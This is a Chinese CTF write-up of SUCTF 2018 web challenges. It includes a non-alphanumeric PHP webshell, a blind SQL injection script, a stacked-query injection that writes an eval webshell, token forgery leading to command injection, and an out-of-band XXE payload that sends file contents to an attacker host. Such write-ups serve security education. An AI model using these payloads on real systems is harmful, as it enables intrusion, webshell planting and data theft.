这道题是 HITCON2017 一道题的删减版,拿 Writeup 里的 payload 即可获得 flag
参考文章:https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#baby-h-master-php-2017
参考文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){ $data=substr($contents,5); foreach ($black_char as $b) { if (stripos($data, $b) !== false){ die("illegal char"); } } }
先跑一下判断黑名单过滤了哪些字符
只剩下这几个字符还没被拦截,猜测是只过滤的字母数字跟部分符号,看到这个基本猜到要用无字母数字的方式构造 webshell,还有一个~
位运算符还可以利用,参考文章中的方法二,利用汉字然后取反获得所需要的字符
其实括号里边也可以不需要单引号的,部分人被困在这一步上。取反后的第一位是乱码不可见字符,我们就取第二个字符也就是索引1
的字符来构造 webshell
接下来就写个脚本,从汉字中选取我们需要利用的字符。这里用了 p 牛的一篇文章作为内容
生成出我们需要的汉字之后,开始构造 webshell
<?php $__=[]; $___=[]; $_=$__==$___;//true = 1 用作索引 $__=~(瞰); $___=$__[$_];//a $__=~(北); $___.=$__[$_].$__[$_];//ss $__=~(的); $___.=$__[$_];//e $__=~(半); $___.=$__[$_];//r $__=~(拾); $___.=$__[$_];//t $____=~(~(_));//_ $__=~(说); $____.=$__[$_];//P $__=~(小); $____.=$__[$_];//O $__=~(次); $____.=$__[$_];//S $__=~(站); $____.=$__[$_];//T $_=$$____; $___($_[_]); ?>
使用的时候记得把我的注释删掉就能用了。最后将 webshell 上传即可,flag 在根目录里
登录之后在用户信息有注入,常见的注入函数都被过滤了,所以只能写个盲注脚本跑,然后发现secure_file_priv
的值为/var/www/
说明我们可以通过 sql 注入读取跟写入网站文件。之前的盲注脚本用字符逐位比较的方式觉得效率有点慢,而且部分不可见字符也没法读取出来,所以我将文件内容 hex 编码,而 hex 后只有0123456789abcdf
,跑出一个字符最多只需要 32 次。最后将内容 hex 解码即可
import requestsimport stringimport binascii hex = lambda s: binascii.hexlify(s) char = '0123456789ABCDEF' filename = '/var/www/html/bwvs_config/waf.php'c = '' url = 'http://web.suctf.asuri.org:85/user/user.php?id=128-if(hex(load_file(0x%s))like(0x%s),1,2)'for _ in xrange(10000): for i in char: payload = c + i + '%' _url = url % (hex(filename), hex(payload)) # print payload #print _url r = requests.get(_url, cookies={'PHPSESSID': 'irv5n2c39anu25lfp5l42i7ld2'}) if '127' in r.content: print '......' + payload c = c + i #if len(c) %2 == 0: # print binascii.unhexlify(c) break # else: # print payload # print c
读取了头像上传文件,发现并没有什么利用点,在/bwvs_config/waf.php
中发现过滤 SQL 注入的函数
function waf($str){ $black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i"; $str = preg_replace($black_str, "@@",$str); return addslashes($str); }
过滤的函数挺多的,最后读取/user/user.php
这个注入竟然用的是mysqli_multi_query
函数,说明我们可以执行多行 SQL 语句,怎么一开始就没盲测出来呢。。。
既然 waf 函数过滤了 select,可以用 set 跟 hex 编码的方式执行 SQL 语句,绕过过滤函数
set @num=0x73656c65637420757365722829;prepare t from @num;execute t;
然后经过into outfile
方式将 php 文件写进网站目录
select 0x3c3f706870206576616c28245f524551554553545b273535333332275d293b3f3e into outfile '/var/www/html/favicon/wfox.php' 再次hex编码->set @num=0x73656c65637420307833633366373036383730323036353736363136633238323435663532343535313535343535333534356232373335333533333333333232373564323933623366336520696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f77666f782e70687027;prepare t from @num;execute t;
写入 shell 成功,去根目录找 flag 即可。
扫描发现/.git/
目录,使用 dvcs-ripper 工具将 git 文件下载下来,发现只有一个README.md
看来得恢复文件,通过git log
查看记录
通过git reset
回滚版本
三个 php 文件都是通过扩展加密的,所以没法恢复,opcode.txt
只有index.php,class.php,func.php
的 opcode 代码,对着 Zend Engine 2 操作码列表这个手册逆了一晚上,就缺少 admin.php 导致没法解题。最后第二天放了 hint,拿到了suenc.so
加密扩展文件,丢给团队的逆向牛搞定了解密文件。
下面附上解密出来的文件,index.php 是我手逆的所以有点乱,其他文件我还是贴上解密后的吧。。
index.php
<?php if(!isset($_SESSION)) { session_start(); } echo '...这部分前端内容我就省略不贴了...'; include_once('func.php'); if(isset($_GET['username'])) { $username = $_GET['username']; $md5 = md5(get_identify().$username); $admin = 0; $token = encrypt($username.'|'.$admin.'|'.$md5); $_SESSION['sign'] = $md5; $_SESSION['token'] = $token; } showImage(); if(isset($_GET['token']) && isset($_GET['sign'])) { $token = $_GET['token']; $sign = $_GET['sign']; echo 'sign : '.$sign.'<br>'; echo 'token: '.$token.'<br>'; $info = explode('|', decrypt($token)); echo decrypt($token); var_dump($info); if(count($info) == 3) { if(md5(get_identify().$info[0]) == $info[2]) { $sign = $info[1]; $admin = $info[1]; }else{ $admin = $info[1]; } } }else{ if(isset($_SESSION['token']) && isset($_SESSION['sign'])) { echo 'sign : '.$_SESSION['sign'].'<br>'; echo 'token: '.$_SESSION['token'].'<br>'; $token = $_SESSION['token']; $sign = $_SESSION['sign']; $info = explode('|', decrypt($token)); if(count($info) == 3) { if(md5(get_identify().$info[0]) == $info[2]) { $sign = $info[1]; $admin = $info[1]; }else{ $admin = $info[1]; } echo '<br>'.$admin; } } } if(isset($admin) && $admin == 3) { $_SESSION['auth'] = 'admin'; echo "<a href='admin.php'>Admin</a>"; }
func.php
<?php/** * Created by PhpStorm. * User: meizj * Date: 2018/2/2 * Time: 下午9:25 */include "class.php"; define("KEY","8690475385984657"); define("method","aes-128-cfb"); define("BS",16); define("IDENTIFY","9850375038");function get_token(){ $token = ''; for($i=0;$i<16;$i++){ $token .= chr(rand(1,255)); } return $token; }function enc($s){ $token = get_token(); $code1 = openssl_encrypt(string($s),method,key,OPENSSL_RAW_DATA,$token); $code2 = base64_encode(base64_encode($token."-".$code1)); return $code2; }function dec($s){ if($cc = base64_decode(base64_decode($s))) { if($iv = substr($cc,0,16)) { if($d = substr($cc,17)) { if($s = openssl_decrypt($d, method, key, OPENSSL_RAW_DATA,$iv)) { return $s; } else die("error"); } else return 0; } else return 0; } else return 0; }function uploadImage(){ if($_SESSION['auth'] !== "admin"){ die("Auth Failed"); } $AllowedType = array( "png", "gif", "jpg" ); $filename = $_FILES['file']['name']; $filesize = $_FILES['file']['size']; if($filesize > 1000000){ exit("Too large"); } $fileext = substr($filename, strrpos($filename, '.')+1); if(in_array($fileext,$AllowedType)){ $file = "thumbs/images/".md5(time()."admin").".".$fileext; if(file_exists($file)){ exit("File existed already"); }else{ move_uploaded_file($_FILES['file']['tmp_name'],$file); } }else{ exit("Not Allowed Ext"); } }function viewImage($name){ if($_SESSION['auth'] !== "admin"){ die("Auth Failed"); } new ImageView($name); }function showImage(){ $obj = new Home("thumbs/images/"); $obj->showImg(); }function to($str) { return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS)); }function re($str) { return substr($str, 0, -ord(substr($str, -1, 1))); }function getkey(){ return KEY; }function get_identify(){ return IDENTIFY; }function encrypt($str){ $key = getkey(); srand(time() / 300); $token = get_token(); $cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token)); return base64_encode($cipher); }function decrypt($str){ $decode = base64_decode($str); $key = getkey(); srand(time() / 300); $token = get_token(); $bin = hex2bin($str); $plain = re(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,$bin , MCRYPT_MODE_CFB, $token)); return $plain; }
class.php
<?php/** * Created by PhpStorm. * User: meizj * Date: 2018/2/2 * Time: 下午11:00 */class ImageView{ private $filename = ""; function __construct($name){ $this->filename = "images/$name"; $this->createThumbnail(); } function createThumbnail(){ $e = stripcslashes(preg_replace('/[^0-9\\\]/','',isset($_GET['size'])?$_GET['size']:25)); system("/usr/bin/convert {$this->filename} --resize $e ./thumbs/{$this->filename}"); } function __toString() { // TODO: Implement __toString() method. return "<a href={$this->filename}> <img src=./thumbs/{$this->filename}></a>"; } }class Home{ private $dir = ""; public function __construct($dir){ $this->dir = $dir; } public function showImg(){ $files = $this->getDirFile($this->dir); foreach ($files as $file){ echo "<img src=$file>"; } } public function getDirFile($dir){ $files = array(); if(!is_dir($dir)) { return $files; } $handle = opendir($dir); if($handle) { while(false !== ($file = readdir($handle))) { if ($file != '.' && $file != '..') { $filename = $dir . "/" . $file; if(is_file($filename)) { $files[] = $filename; }else { $files = array_merge($files, get_files($filename)); } } } // end while closedir($handle); } return $files; } }
admin.php
<?php/** * Created by PhpStorm. * User: meizj * Date: 2018/2/2 * Time: 下午9:38 */session_start();if($_SESSION['auth']!=="admin"){ die("Auth Failed!"); }include "func.php";if(isset($_GET['action'])){ $action = $_GET['action']; if($action == "uploadImage"){ include_once "template/upload.php"; if(isset($_FILES['file'])){ uploadImage(); } }elseif ($action == "viewImage"){ $file = isset($_GET['file'])?$_GET['file']:"23.jpg"; viewImage($file); } }
先看index.php
,这里会将$token
解密,如果$admin==3
就有权限访问admin.php
,我们在本地生成加密 token
$md5 = md5(get_identify().'aaaaaaaaaaaaaaaaaa');$admin = 3;$token = encrypt('aaaaaaaaaaaaaaaaaa|'.$admin.'|'.$md5);echo $md5;echo '||';echo $token;
然后将生成的 token 跟 sign 去访问即可获得管理员权限
我在这里踩了一晚上的坑,因为我一直是用 windows 环境生成 token,而 windows 跟 linux 的随机数是有差异的,导致加密的结果是错误的。心疼自己...
拿到管理员权限后接着看admin.php
,文件上传好像是因为没有目录权限,一直上传不上东西,就算了。viewImage
调用了ImageView
类,最终通过调用系统命令的方式修改图片大小,这里没有对$filename
进行过滤,直接拼接到命令执行中,构造 payload 执行命令
flag 在/etc/flag/
这道题由于时间关系,赛后一小时才做出来,被上传文件的 sig 报错误导了很久。
在show.php
中,module 表示要调用的类,args 用作传参,这里用 PHP 自带的类SimpleXMLElement
执行 XXE 攻击,但是在实际测试中发现,并不能解析实体,在高版本的 libxml 中,默认是不解析实体的,所以我们传入参数LIBXML_NOENT
就能解析实体,但我们传参进去的是字符串而不是常量所以是用不了的,而LIBXML_NOENT
的值为 2,所以我们传入 2 即可。实测中发现挺多数字都可以正常解析实体,这个不深入研究。
参考链接:
构造 xxe payload,通过 oob 攻击获得回显
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip/e.xml"> %remote; ]></root>
e.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://ip:1080/%payload;'>"> %int; %trick;
构造 payload 发送
/show.php?module=SimpleXMLElement&args[]=%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2Fip%3A9999%2Fe.xml%22%3E%0A%25remote%3B%0A%5D%3E%0A%3C%2Froot%3E&args[]=2
nc 监听 1080 端口,成功获取到 index.php 内容,但这个文件并不是重点,重点看function.php
跟show.php
function.php
<?phpfunction sql_result($sql,$mysql){ if($result=mysqli_query($mysql,$sql)){ $result_array=mysqli_fetch_all($result); return $result_array; }else{ echo mysqli_error($mysql); return "Failed"; } }function upload_file($mysql){ if($_FILES){ if($_FILES['file']['size']>2*1024*1024){ die("File is larger than 2M, forbidden upload"); } if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){ $filehash=md5(mt_rand()); if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed"); $new_filename="./upload/".$filehash.".txt"; move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed"); die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful."); }else{ $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed"); $new_filename="./upload/".$hash[0][0].".txt"; move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed"); die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful."); } }else{ die("Not upload file"); } } }function w_addslashes($string){ return addslashes(trim($string)); }function do_api($module,$args){ $class = new ReflectionClass($module); $a=$class->newInstanceArgs($args); }?>
show.php
<?php include("function.php"); include("config.php"); include("calc.php"); if(isset($_GET['action'])&&$_GET['action']=="view"){ if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden."); if(!empty($_GET['filename'])){ $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql); $file_name=$file_info['0']['2']; echo("file code: ".file_get_contents("./upload/".$file_name.".txt")); $new_sig=mt_rand(); sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql); die("<br>new sig:".$new_sig); }else{ die("Null filename"); } } $username=w_addslashes($_COOKIE['user']); $check_code=$_COOKIE['cookie-check']; $check_sql="select password from user where username='".$username."'"; $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']); if($check_sum!==$check_code){ header("Location: login.php"); } $module=$_GET['module']; $args=$_GET['args']; do_api($module,$args);?>
show.php
的 view 方法中,限制了 ip 只能是127.0.0.1
,说明只能通过 XXE 去触发。这里根据filename
获取数据库中的 sig 然后进行 update 操作,但没有对 sig 值进行过滤,导致二次注入。
再看一下function.php
中的upload_file
上传文件部分,首先他会判断 filename 是否存在,如果不存在就会插入数据库,这里 sig 没有用单引号保护,但是用了 addslashes 进行转义,而我们要插入二次注入的语句必须得有单引号,这个时候就可以用 hex 编码进行绕过。
因为sql_result
函数中会输出 sql 错误,所以我们用 updatexml 函数进行报错注入。构造 payload
'or updatexml(1,concat(0,substr((select flag from flag),1,32)),1)#
修改e.xml
,获取http://127.0.0.1/show.php?action=view&filename=asczc.php
的内容
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=asczc.php"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://ip:1080/%payload;'>"> %int; %trick;
成功拿到报错注入的内容
file code: 123XPATH syntax error: 'SUCTF{L2DQVutviWff118oyKcDCp9393'<br>new sig:1231563907
因为 flag 长度比较长,所以分段读取,最后读到 flag SUCTF{L2DQVutviWff118oyKcDCp9393GkmnNVFDGTsNvcy5hK9wQxpxMc}
【作者:Wfox 原文链接 SUCTF 2018 Web Writeup】